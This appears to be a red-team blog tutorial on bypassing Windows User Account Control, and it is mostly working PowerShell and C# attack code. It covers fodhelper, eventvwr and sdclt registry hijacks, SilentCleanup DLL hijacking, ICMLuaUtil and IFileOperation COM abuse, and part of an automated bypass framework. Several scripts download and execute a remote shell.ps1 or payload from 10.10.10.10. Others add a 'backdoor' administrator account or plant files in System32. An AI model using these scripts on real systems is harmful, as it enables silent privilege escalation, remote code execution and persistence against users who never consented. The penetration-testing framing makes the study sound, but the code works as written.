Skip to content
AppLocker Bypass: UAC Bypass

AppLocker Bypass: UAC Bypass

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control).


How Does UAC Work?

UAC enforces integrity levels on every process in Windows. Think of them as security rings that control what a process can touch:

SYSTEM integrity   ← kernel drivers, critical services
      │
HIGH integrity     ← elevated admin processes (after UAC prompt)
      │
MEDIUM integrity   ← standard user processes, normal admin sessions  ← you start here
      │
LOW integrity      ← sandboxed processes (IE Protected Mode, Edge)
      │
UNTRUSTED          ← extremely restricted

When you’re logged in as an administrator, your shell runs at Medium integrity by default. UAC acts as a gate: to reach High integrity, a UAC consent prompt must be approved.

Auto-elevation is the gap we exploit. Some Microsoft-signed binaries carry an application manifest declaring autoElevate="true". Windows trusts these binaries to silently elevate to High integrity without a UAC prompt. The assumption: Microsoft wrote them, they’re safe.

<!-- manifest snippet from fodhelper.exe -->
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
<autoElevate>true</autoElevate>

If we can hijack what an auto-elevated binary does, via registry redirection, DLL hijacking , or COM object substitution, we execute arbitrary code at High integrity with zero UAC prompts.


Lab Setup

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    ├── Windows 10/11 Enterprise (victim VM)
    │   ├── Local admin account (standard UAC config)
    │   ├── Windows Defender enabled + updated
    │   ├── UAC set to default ("Notify me only when apps try to make changes")
    │   ├── Sysmon (SwiftOnSecurity config)
    │   ├── Sysinternals Suite (Process Monitor, Process Hacker, AccessChk)
    │   └── PowerShell 5.1 + Script Block Logging enabled
    │
    └── Kali Linux (attacker VM)
        ├── mingw-w64 cross-compiler
        ├── Python 3.10+
        └── netcat / rlwrap listener

Windows VM Configuration

1. Create a standard admin test account

# Create local admin — this is your test persona
# UAC will fire for elevation requests from this account
net user testadmin P@ssw0rd123! /add
net localgroup Administrators testadmin /add

2. Set UAC to default level (most common in the wild)

# Default: notify only when apps try to make changes, don't dim desktop
# Registry value 5 = default UAC behavior
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
    -Name "ConsentPromptBehaviorAdmin" -Value 5 -Type DWord

# Verify
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" |
    Select ConsentPromptBehaviorAdmin, EnableLUA, PromptOnSecureDesktop

3. Enable Sysmon

.\Sysmon64.exe -accepteula -i sysmon-config.xml

4. Verify your current integrity level

# should show "Medium Mandatory Level" on a standard admin session
whoami /groups | findstr "Mandatory"

# Medium = you can trigger UAC bypasses
# High   = you're already elevated, no bypass needed

5. Verify integrity level tool — save this, use it constantly

 1# Check-Integrity.ps1 — shows current process integrity level
 2$sig = @"
 3using System;
 4using System.Runtime.InteropServices;
 5public class TokenInfo {
 6    [DllImport("advapi32.dll", SetLastError=true)]
 7    public static extern bool GetTokenInformation(IntPtr token, int infoClass,
 8        IntPtr info, int infoLen, out int retLen);
 9    [DllImport("advapi32.dll", SetLastError=true)]
10    public static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
11    [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();
12}
13"@
14Add-Type $sig
15
16$token = [IntPtr]::Zero
17[TokenInfo]::OpenProcessToken([TokenInfo]::GetCurrentProcess(), 0x8, [ref]$token) | Out-Null
18
19$size = 0
20[TokenInfo]::GetTokenInformation($token, 25, [IntPtr]::Zero, 0, [ref]$size) | Out-Null
21$buf = [Runtime.InteropServices.Marshal]::AllocHGlobal($size)
22[TokenInfo]::GetTokenInformation($token, 25, $buf, $size, [ref]$size) | Out-Null
23
24$rid = [Runtime.InteropServices.Marshal]::ReadInt32($buf, 8)
25$labels = @{ 0x1000="Low"; 0x2000="Medium"; 0x3000="High"; 0x4000="System" }
26
27Write-Host "[*] Process: $($pid)  ($([System.Diagnostics.Process]::GetCurrentProcess().ProcessName))"
28Write-Host "[*] Integrity: $($labels[[int]$rid] ?? "Unknown (RID: 0x$($rid.ToString('X')))")"
29[Runtime.InteropServices.Marshal]::FreeHGlobal($buf)

6. Install Process Monitor for live registry/file tracing

ProcMon → Filter → Process Name → is → fodhelper.exe → Add
         Filter → Category → is → Registry → Add

This is how the community discovers new UAC bypass paths — ProcMon on auto-elevated binaries watching for HKCU registry reads that don’t exist yet.

7. Snapshot before testing

VM → Snapshot → "UAC_BASELINE_MEDIUM_INTEGRITY"

Revert between techniques: registry changes from one bypass can bleed into another test.


Phase 1: Enumeration

Tool 1: Find-AutoElevatedBinaries.ps1

 1# Find-AutoElevatedBinaries.ps1
 2# Scans Windows binaries for autoElevate=true in their manifests.
 3# These are your primary bypass candidates.
 4
 5param(
 6    [string[]]$ScanDirs = @(
 7        "$env:WINDIR\System32",
 8        "$env:WINDIR\SysWOW64"
 9    ),
10    [switch]$Detailed
11)
12
13Add-Type -AssemblyName System.Xml.Linq
14
15function Get-Manifest([string]$exePath) {
16    try {
17        # use MT.exe if available, otherwise parse PE directly
18        $bytes = [IO.File]::ReadAllBytes($exePath)
19
20        # scan for the RT_MANIFEST resource signature
21        # simplified: search for XML declaration in PE bytes
22        $xmlSig = [Text.Encoding]::ASCII.GetBytes('<?xml')
23        for ($i = 0; $i -lt $bytes.Length - $xmlSig.Length; $i++) {
24            $match = $true
25            for ($j = 0; $j -lt $xmlSig.Length; $j++) {
26                if ($bytes[$i+$j] -ne $xmlSig[$j]) { $match = $false; break }
27            }
28            if ($match) {
29                # extract manifest XML
30                $end = $i
31                while ($end -lt $bytes.Length -and $bytes[$end] -ne 0) { $end++ }
32                return [Text.Encoding]::UTF8.GetString($bytes[$i..($end-1)])
33            }
34        }
35    } catch {}
36    return $null
37}
38
39$results = [Collections.Generic.List[PSCustomObject]]::new()
40
41foreach ($dir in $ScanDirs | Where-Object { Test-Path $_ }) {
42    Write-Host "[*] scanning $dir ..." -ForegroundColor Cyan
43
44    Get-ChildItem -Path $dir -Filter "*.exe" -ErrorAction SilentlyContinue |
45    ForEach-Object {
46        $manifest = Get-Manifest $_.FullName
47        if ($manifest -and $manifest -match 'autoElevate.*true') {
48            $level = if ($manifest -match 'requireAdministrator') { 'requireAdmin' }
49                     elseif ($manifest -match 'highestAvailable') { 'highest' }
50                     else { 'unknown' }
51            $results.Add([PSCustomObject]@{
52                Name      = $_.Name
53                Path      = $_.FullName
54                Level     = $level
55                Signed    = (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
56                Size      = $_.Length
57            })
58        }
59    }
60}
61
62Write-Host "`n[+] Auto-elevated binaries found: $($results.Count)`n" -ForegroundColor Green
63$results | Sort-Object Name | Format-Table Name, Level, Signed, Path -AutoSize
64
65$results | Export-Csv ".\auto_elevated.csv" -NoTypeInformation
66Write-Host "[*] saved → auto_elevated.csv"

Tool 2: Find-UACRegistryGaps.ps1

For each auto-elevated binary, ProcMon shows which HKCU registry keys it reads that don’t exist. This script cross-references a known list and checks which gaps are present on this machine — each writable missing key is a bypass opportunity.

 1# Find-UACRegistryGaps.ps1
 2# Checks known UAC bypass registry paths — reports which are exploitable here.
 3
 4$BypassPaths = @(
 5    [PSCustomObject]@{
 6        Binary  = "fodhelper.exe"
 7        HKCUKey = "Software\Classes\ms-settings\Shell\Open\command"
 8        ValueName = "(Default) + DelegateExecute"
 9        Technique = "Registry Hijack"
10        Risk    = "High"
11    },
12    [PSCustomObject]@{
13        Binary  = "eventvwr.exe"
14        HKCUKey = "Software\Classes\mscfile\shell\open\command"
15        ValueName = "(Default)"
16        Technique = "Registry Hijack"
17        Risk    = "High"
18    },
19    [PSCustomObject]@{
20        Binary  = "sdclt.exe"
21        HKCUKey = "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
22        ValueName = "(Default)"
23        Technique = "Registry Hijack"
24        Risk    = "High"
25    },
26    [PSCustomObject]@{
27        Binary  = "cmstp.exe"
28        HKCUKey = "Software\Classes\mscfile\shell\open\command"
29        ValueName = "(Default)"
30        Technique = "INF file"
31        Risk    = "Medium"
32    },
33    [PSCustomObject]@{
34        Binary  = "SilentCleanup (schtask)"
35        HKCUKey = "N/A — PATH DLL hijack"
36        ValueName = "N/A"
37        Technique = "DLL Hijack via PATH"
38        Risk    = "High"
39    },
40    [PSCustomObject]@{
41        Binary  = "CompMgmtLauncher.exe"
42        HKCUKey = "Software\Classes\mscfile\shell\open\command"
43        ValueName = "(Default)"
44        Technique = "Registry Hijack"
45        Risk    = "Medium"
46    }
47)
48
49Write-Host "`n[*] Checking UAC bypass registry gaps on this system...`n" -ForegroundColor Cyan
50
51foreach ($entry in $BypassPaths) {
52    if ($entry.HKCUKey -eq 'N/A — PATH DLL hijack') {
53        Write-Host "  [TASK]   $($entry.Binary)$($entry.Technique)" -ForegroundColor Yellow
54        continue
55    }
56
57    $fullPath = "HKCU:\$($entry.HKCUKey)"
58    $exists   = Test-Path $fullPath
59    $status   = if (-not $exists) { "[MISSING — EXPLOITABLE]" } else { "[EXISTS — check value]" }
60    $color    = if (-not $exists) { "Green" } else { "Gray" }
61
62    Write-Host "  $status $($entry.Binary)$($entry.HKCUKey)" -ForegroundColor $color
63    if ($Detailed -and $exists) {
64        Get-ItemProperty -Path $fullPath -ErrorAction SilentlyContinue |
65            Out-String | ForEach-Object { Write-Host "    $_" -ForegroundColor DarkGray }
66    }
67}

Bypass 1: fodhelper.exe (Registry Hijack)

fodhelper.exe (Features On Demand Helper) is an auto-elevated binary that manages optional Windows features. During execution it reads HKCU\Software\Classes\ms-settings\Shell\Open\command to find a handler. HKCU is always writable by the current user — no admin needed to set keys there.

Write your payload command to that key, launch fodhelper, and Windows runs your command at High integrity without a UAC prompt. This registry-hijack pattern is the template for every auto-elevated-binary bypass:

    sequenceDiagram
    participant U as User (Medium integrity)
    participant R as HKCU registry
    participant F as fodhelper.exe (auto-elevate)
    participant W as Windows
    U->>R: Write payload to the ms-settings Shell/Open/command key\n(Default) = command, DelegateExecute = empty
    U->>F: Launch fodhelper.exe
    F->>W: autoElevate=true → elevate to High, no UAC prompt
    F->>R: Read ms-settings handler from HKCU
    R-->>F: Returns attacker's command
    F->>W: Execute command at High integrity
    W-->>U: Elevated process running
  

PowerShell implementation

 1# Invoke-FodhelperBypass.ps1
 2# Spawns an elevated process via fodhelper.exe HKCU registry hijack.
 3# Requires: Medium integrity admin account (default UAC config)
 4
 5param(
 6    [string]$Command   = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
 7    [switch]$Cleanup,
 8    [switch]$Verify
 9)
10
11$regPath     = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
12$fodhelper   = "$env:WINDIR\System32\fodhelper.exe"
13
14function Invoke-Bypass {
15    Write-Host "[*] planting registry keys..." -ForegroundColor Cyan
16
17    # create key hierarchy
18    New-Item -Path $regPath -Force | Out-Null
19
20    # (Default) value = command to execute
21    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
22
23    # DelegateExecute MUST be present (can be empty) — signals to fodhelper
24    # that the value is a command, not a file handler
25    New-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -Force | Out-Null
26
27    Write-Host "[+] HKCU keys planted:" -ForegroundColor Green
28    Write-Host "    $regPath"
29    Write-Host "    (Default)       = $Command"
30    Write-Host "    DelegateExecute = (empty)"
31
32    # brief pause — let registry writes flush
33    Start-Sleep -Milliseconds 200
34
35    Write-Host "[*] launching fodhelper.exe..." -ForegroundColor Cyan
36    Start-Process $fodhelper -WindowStyle Hidden
37
38    # give it time to trigger before cleanup
39    Start-Sleep -Seconds 3
40}
41
42function Invoke-Cleanup {
43    $parent = "HKCU:\Software\Classes\ms-settings"
44    if (Test-Path $parent) {
45        Remove-Item -Path $parent -Recurse -Force -ErrorAction SilentlyContinue
46        Write-Host "[+] registry keys removed" -ForegroundColor Green
47    }
48}
49
50function Test-Bypass {
51    # write a marker file at High integrity path — only writable from High
52    $marker = "C:\Windows\System32\uac_test_$(Get-Random).txt"
53    $testCmd = "cmd /c echo elevated > $marker"
54
55    Invoke-FodhelperBypass -Command $testCmd
56    Start-Sleep -Seconds 4
57
58    if (Test-Path $marker) {
59        Write-Host "[+] BYPASS CONFIRMED — marker written to System32" -ForegroundColor Green
60        Remove-Item $marker -Force
61    } else {
62        Write-Host "[-] bypass failed or AV blocked execution" -ForegroundColor Red
63    }
64}
65
66if ($Verify)  { Test-Bypass;   return }
67if ($Cleanup) { Invoke-Cleanup; return }
68
69Invoke-Bypass
70Start-Sleep -Seconds 2
71Invoke-Cleanup   # always clean up registry artifacts

One-liner (for constrained environments)

$p="HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item $p -Force|Out-Null
Set-ItemProperty $p "(Default)" "cmd /c start powershell -nop -w hidden -ep bypass"
New-ItemProperty $p "DelegateExecute" -Value "" -Force|Out-Null
Start-Process "$env:WINDIR\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force

Bypass 2: eventvwr.exe (Registry Hijack)

eventvwr.exe (Event Viewer) auto-elevates and reads HKCU\Software\Classes\mscfile\shell\open\command to find the handler for .msc files. Same pattern — write command, trigger binary, code runs at High integrity.

 1# Invoke-EventvwrBypass.ps1
 2
 3param(
 4    [string]$Command = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
 5    [switch]$Cleanup
 6)
 7
 8$regPath   = "HKCU:\Software\Classes\mscfile\shell\open\command"
 9$eventvwr  = "$env:WINDIR\System32\eventvwr.exe"
10
11function Set-Bypass {
12    New-Item -Path $regPath -Force | Out-Null
13    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
14
15    Write-Host "[+] planted: $regPath" -ForegroundColor Green
16    Write-Host "    command: $Command"
17
18    Start-Sleep -Milliseconds 200
19    Start-Process $eventvwr -WindowStyle Hidden
20    Write-Host "[*] eventvwr.exe launched — waiting for trigger..."
21    Start-Sleep -Seconds 3
22}
23
24function Remove-Keys {
25    Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force -ErrorAction SilentlyContinue
26    Write-Host "[+] cleaned up" -ForegroundColor Green
27}
28
29if ($Cleanup) { Remove-Keys; return }
30Set-Bypass
31Remove-Keys

Bypass 3: sdclt.exe (App Path Hijack)

sdclt.exe (Backup and Restore) queries HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe to locate the Control Panel binary. Redirect it to your payload — sdclt auto-elevates and executes it at High integrity.

 1# Invoke-SdcltBypass.ps1
 2
 3param(
 4    [string]$Payload = "C:\Windows\Tasks\payload.exe",
 5    [string]$PayloadUrl = "http://10.10.10.10/payload.exe",
 6    [switch]$Cleanup
 7)
 8
 9$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
10$sdclt   = "$env:WINDIR\System32\sdclt.exe"
11
12function Set-Bypass {
13    # drop payload to trusted writable path first (combines with trusted folder bypass)
14    if ($PayloadUrl -and -not (Test-Path $Payload)) {
15        (New-Object Net.WebClient).DownloadFile($PayloadUrl, $Payload)
16        Write-Host "[+] payload staged: $Payload" -ForegroundColor Green
17    }
18
19    New-Item -Path $regPath -Force | Out-Null
20    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Payload
21
22    Write-Host "[+] App Path hijacked:" -ForegroundColor Green
23    Write-Host "    $regPath$Payload"
24
25    Start-Sleep -Milliseconds 200
26
27    # /kickoffelev flag triggers the App Path lookup
28    Start-Process $sdclt -ArgumentList "/kickoffelev" -WindowStyle Hidden
29    Write-Host "[*] sdclt.exe /kickoffelev launched"
30    Start-Sleep -Seconds 3
31}
32
33function Remove-Keys {
34    if (Test-Path $regPath) {
35        Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" `
36            -Force -ErrorAction SilentlyContinue
37        Write-Host "[+] registry cleaned" -ForegroundColor Green
38    }
39}
40
41if ($Cleanup) { Remove-Keys; return }
42Set-Bypass
43Remove-Keys

Bypass 4: SilentCleanup Scheduled Task (DLL Hijack)

The SilentCleanup scheduled task runs DismHost.exe and cleanmgr.exe at High integrity without a UAC prompt. It’s designed to run silently during maintenance windows. The task inherits the current user’s %PATH% environment variable. Drop a malicious DLL with the right name into a user-writable directory that appears in PATH before System32, and DiskCleanup loads it at High integrity.

 1# Invoke-SilentCleanupBypass.ps1
 2# DLL hijack via SilentCleanup scheduled task PATH manipulation
 3
 4param(
 5    [string]$DllUrl     = "http://10.10.10.10/dismcore.dll",
 6    [string]$DllDrop    = "$env:TEMP\dismcore.dll",   # user-writable, often in PATH
 7    [switch]$PrependPath,
 8    [switch]$Cleanup
 9)
10
11# Target DLL: dismcore.dll — loaded by DismHost.exe, often missing from user PATH dirs
12$targetDll  = "dismcore.dll"
13$taskName   = "SilentCleanup"
14
15function Set-Bypass {
16    # fetch malicious DLL
17    (New-Object Net.WebClient).DownloadFile($DllUrl, $DllDrop)
18    Write-Host "[+] DLL staged: $DllDrop" -ForegroundColor Green
19
20    if ($PrependPath) {
21        # prepend drop directory to user PATH — ensures our DLL found before System32
22        $dropDir    = Split-Path $DllDrop
23        $currentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
24        if ($currentPath -notlike "$dropDir*") {
25            [Environment]::SetEnvironmentVariable("PATH", "$dropDir;$currentPath", "User")
26            $env:PATH = "$dropDir;$env:PATH"
27            Write-Host "[+] PATH prepended: $dropDir" -ForegroundColor Green
28        }
29    }
30
31    Write-Host "[*] triggering SilentCleanup task..." -ForegroundColor Cyan
32    Start-ScheduledTask -TaskName $taskName
33    Write-Host "[+] task triggered — DismHost.exe will load $targetDll from PATH"
34    Write-Host "[*] shell should arrive within 10-15 seconds"
35}
36
37function Remove-Bypass {
38    if (Test-Path $DllDrop) {
39        Remove-Item $DllDrop -Force
40        Write-Host "[+] DLL removed: $DllDrop"
41    }
42    if ($PrependPath) {
43        $dropDir  = Split-Path $DllDrop
44        $p = [Environment]::GetEnvironmentVariable("PATH", "User")
45        [Environment]::SetEnvironmentVariable("PATH", ($p -replace [Regex]::Escape("$dropDir;"),""), "User")
46        Write-Host "[+] PATH restored"
47    }
48}
49
50if ($Cleanup) { Remove-Bypass; return }
51Set-Bypass

Build the DLL payload (use hijack_base.c from the DLL Hijacking blog with LHOST/LPORT updated):

# compile dismcore.dll — matches name DismHost.exe looks for
x86_64-w64-mingw32-gcc -shared -o dismcore.dll hijack_base.c \
    -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none

Bypass 5: COM Object Hijacking (ICMLuaUtil)

Several auto-elevated binaries instantiate COM objects. COM object resolution checks HKCU before HKLM, meaning a user-registered COM object shadows the system one without admin rights. Register a malicious COM server in HKCU, trigger the elevated binary that uses it, and your server runs in its High-integrity context.

ICMLuaUtil is an interface exposed by cmluautil.dll that several auto-elevated binaries use. We can directly invoke it via late-binding to execute arbitrary commands at High integrity.

C# COM elevation via ICMLuaUtil

 1// CMLuaBypass.cs
 2// Calls ICMLuaUtil::ShellExec to run an arbitrary command at High integrity.
 3// ICMLuaUtil is exposed by an auto-elevated COM server — no UAC prompt fires.
 4//
 5// Compile: csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
 6//      or: dotnet build
 7
 8using System;
 9using System.Runtime.InteropServices;
10
11[ComImport]
12[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
13[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
14interface ICMLuaUtil {
15    void SetRasCredentials();
16    void SetRasEntryProperties();
17    void DeleteRasEntry();
18    void LaunchInfSection();
19    void LaunchInfSectionEx();
20    void CreateLayerDirectory();
21    void ShellExec(
22        string file,
23        string parameters,
24        string directory,
25        uint fMask,
26        uint nShow
27    );
28    void SetRegistryStringValue();
29    void DeleteRegistryStringValue();
30    void DeleteRegKeysAndValues();
31    void CreateDirectoryWithElevatedPriviliges();
32}
33
34[ComImport]
35[Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7")]
36[ClassInterface(ClassInterfaceType.None)]
37class CMLuaUtil { }
38
39class Program {
40    static void Main(string[] args) {
41        string cmd    = args.Length > 0 ? args[0] : "powershell.exe";
42        string param  = args.Length > 1 ? args[1] : "-nop -w hidden -ep bypass -c whoami";
43        string cwd    = args.Length > 2 ? args[2] : @"C:\Windows\System32";
44
45        Console.WriteLine($"[*] target : {cmd} {param}");
46        Console.WriteLine("[*] invoking ICMLuaUtil::ShellExec via auto-elevated COM...");
47
48        try {
49            var util = (ICMLuaUtil)new CMLuaUtil();
50            util.ShellExec(cmd, param, cwd, 0x00000000, 1);
51            Console.WriteLine("[+] ShellExec called — command should run at High integrity");
52        } catch (Exception ex) {
53            Console.Error.WriteLine($"[-] failed: {ex.Message}");
54            Console.Error.WriteLine("    (ensure you are Medium integrity + local admin)");
55        }
56    }
57}
 1:: compile and run
 2csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
 3
 4:: execute arbitrary command at high integrity — no UAC prompt
 5CMLuaBypass.exe powershell.exe "-nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
 6
 7:: add local user to admins (for persistence)
 8CMLuaBypass.exe cmd.exe "/c net localgroup Administrators backdoor /add"
 9
10:: copy file to protected path
11CMLuaBypass.exe cmd.exe "/c copy C:\Users\Public\payload.exe C:\Windows\System32\evil.exe"

Bypass 6: IFileOperation COM (Privileged File Copy)

The IFileOperation COM interface runs at the caller’s integrity level, but when invoked from within an auto-elevated process context, it inherits High integrity. This lets you copy files to privileged locations (like C:\Windows\System32\) without a UAC prompt.

Classic use: copy a malicious DLL to System32, then trigger a binary that loads it.

  1// FileOpBypass.cs
  2// Uses IFileOperation at High integrity (via auto-elevated COM host) to
  3// copy files to privileged locations — combines with DLL hijacking for RCE.
  4//
  5// Compile: csc.exe /target:library /out:FileOpBypass.dll FileOpBypass.cs
  6//
  7// Then load via Assembly.Load() from an elevated context.
  8
  9using System;
 10using System.Runtime.InteropServices;
 11
 12[ComImport]
 13[Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8")]
 14[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
 15interface IFileOperation {
 16    void Advise(IFileOperationProgressSink pfops, out uint pdwCookie);
 17    void Unadvise(uint dwCookie);
 18    void SetOperationFlags(uint dwOperationFlags);
 19    void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage);
 20    void SetProgressDialog([MarshalAs(UnmanagedType.IUnknown)] object popd);
 21    void GetAnyOperationsAborted(out bool pfAnyOperationsAborted);
 22    void MoveItem(
 23        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 24        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
 25        [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
 26        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 27    void MoveItems(
 28        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 29        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
 30    void CopyItem(
 31        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 32        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
 33        [MarshalAs(UnmanagedType.LPWStr)] string pszCopyName,
 34        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 35    void CopyItems(
 36        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 37        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
 38    void DeleteItem(
 39        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 40        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 41    void DeleteItems([MarshalAs(UnmanagedType.IUnknown)] object punkItems);
 42    void RenameItem(
 43        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 44        [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
 45        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 46    void RenameItems(
 47        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 48        [MarshalAs(UnmanagedType.LPWStr)] string pszNewName);
 49    void ApplyPropertiesToItem(
 50        [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
 51        [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
 52    void ApplyPropertiesToItems(
 53        [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
 54        [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
 55    void NewItem(
 56        [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
 57        uint dwFileAttributes,
 58        [MarshalAs(UnmanagedType.LPWStr)] string pszName,
 59        [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName,
 60        [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
 61    void PerformOperations();
 62}
 63
 64[ComImport]
 65[Guid("00000114-0000-0000-C000-000000000046")]
 66[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
 67interface IFileOperationProgressSink { }
 68
 69[ComImport]
 70[Guid("3ad05575-8857-4850-9277-11b85bdb8e09")]
 71[ClassInterface(ClassInterfaceType.None)]
 72class FileOperation { }
 73
 74public static class FileOpBypass {
 75
 76    [DllImport("shell32.dll", CharSet=CharSet.Unicode)]
 77    static extern int SHCreateItemFromParsingName(
 78        string pszPath, IntPtr pbc,
 79        [MarshalAs(UnmanagedType.LPStruct)] Guid riid,
 80        [MarshalAs(UnmanagedType.IUnknown)] out object ppv);
 81
 82    static readonly Guid IShellItemGuid = new Guid("43826d1e-e718-42ee-bc55-a1e261c37bfe");
 83
 84    static object GetShellItem(string path) {
 85        object item;
 86        SHCreateItemFromParsingName(path, IntPtr.Zero, IShellItemGuid, out item);
 87        return item;
 88    }
 89
 90    // Copy srcFile → dstDir\newName using High-integrity IFileOperation
 91    public static void CopyToPrivileged(string srcFile, string dstDir, string newName = null) {
 92        var op = (IFileOperation)new FileOperation();
 93
 94        // FOF_NOCONFIRMATION | FOF_SILENT | FOF_NOERRORUI
 95        op.SetOperationFlags(0x0614);
 96
 97        var src  = GetShellItem(srcFile);
 98        var dst  = GetShellItem(dstDir);
 99        var name = newName ?? System.IO.Path.GetFileName(srcFile);
100
101        op.CopyItem(src, dst, name, null);
102        op.PerformOperations();
103
104        Console.WriteLine($"[+] copied {srcFile} → {dstDir}\\{name}");
105    }
106
107    // Example: plant malicious DLL into System32 for subsequent hijack
108    public static void PlantDLL(string maliciousDll, string targetDllName) {
109        CopyToPrivileged(maliciousDll, @"C:\Windows\System32", targetDllName);
110        Console.WriteLine($"[+] {targetDllName} planted in System32 — trigger target binary to get High-integrity shell");
111    }
112}

Bypass 7: Automated UAC Bypass Framework (C#)

A unified C# framework that enumerates available bypasses and executes the most appropriate one for the current system, with fallback logic.

  1// UACBypass.cs — automated UAC bypass framework
  2// Tries bypasses in order of stealth/reliability, falls back on failure.
  3//
  4// Compile: csc.exe /out:UACBypass.exe UACBypass.cs
  5//
  6// Usage:
  7//   UACBypass.exe                                    — auto-select + execute
  8//   UACBypass.exe --cmd "powershell -nop -w hidden"  — custom command
  9//   UACBypass.exe --list                             — list available bypasses
 10//   UACBypass.exe --method fodhelper                 — force specific bypass
 11
 12using System;
 13using System.Collections.Generic;
 14using System.Diagnostics;
 15using System.IO;
 16using System.Runtime.InteropServices;
 17using System.Threading;
 18using Microsoft.Win32;
 19
 20class UACBypass {
 21
 22    // ── Win32 helpers ─────────────────────────────────────────────────────
 23    [DllImport("advapi32.dll", SetLastError=true)]
 24    static extern bool GetTokenInformation(IntPtr token, int infoClass,
 25        IntPtr info, int infoLen, out int retLen);
 26    [DllImport("advapi32.dll", SetLastError=true)]
 27    static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
 28    [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
 29
 30    // ── integrity level detection ─────────────────────────────────────────
 31    static int GetIntegrityLevel() {
 32        IntPtr token;
 33        OpenProcessToken(GetCurrentProcess(), 0x8, out token);
 34        int size = 0;
 35        GetTokenInformation(token, 25, IntPtr.Zero, 0, out size);
 36        var buf = Marshal.AllocHGlobal(size);
 37        GetTokenInformation(token, 25, buf, size, out size);
 38        int rid = Marshal.ReadInt32(buf, 8);
 39        Marshal.FreeHGlobal(buf);
 40        return rid;
 41    }
 42
 43    const int HIGH_INTEGRITY   = 0x3000;
 44    const int MEDIUM_INTEGRITY = 0x2000;
 45
 46    // ── bypass registry helper ────────────────────────────────────────────
 47    static void SetRegValue(string hkcu, string valueName, string data) {
 48        using var key = Registry.CurrentUser.CreateSubKey(hkcu, true);
 49        key.SetValue(valueName, data);
 50        if (valueName == "(Default)" || valueName == "") {
 51            // also set DelegateExecute if this is a shell\open\command key
 52            if (hkcu.EndsWith("command", StringComparison.OrdinalIgnoreCase))
 53                key.SetValue("DelegateExecute", "");
 54        }
 55    }
 56
 57    static void DeleteRegKey(string hkcu) {
 58        try { Registry.CurrentUser.DeleteSubKeyTree(hkcu, false); } catch {}
 59    }
 60
 61    static bool WaitForElevation(string markerPath, int timeoutMs = 6000) {
 62        int elapsed = 0;
 63        while (elapsed < timeoutMs) {
 64            if (File.Exists(markerPath)) { File.Delete(markerPath); return true; }
 65            Thread.Sleep(300);
 66            elapsed += 300;
 67        }
 68        return false;
 69    }
 70
 71    // ── bypass implementations ────────────────────────────────────────────
 72
 73    static bool BypassFodhelper(string cmd) {
 74        const string regKey = @"Software\Classes\ms-settings\Shell\Open\command";
 75        try {
 76            SetRegValue(regKey, "", cmd);
 77            Thread.Sleep(200);
 78            Process.Start(new ProcessStartInfo {
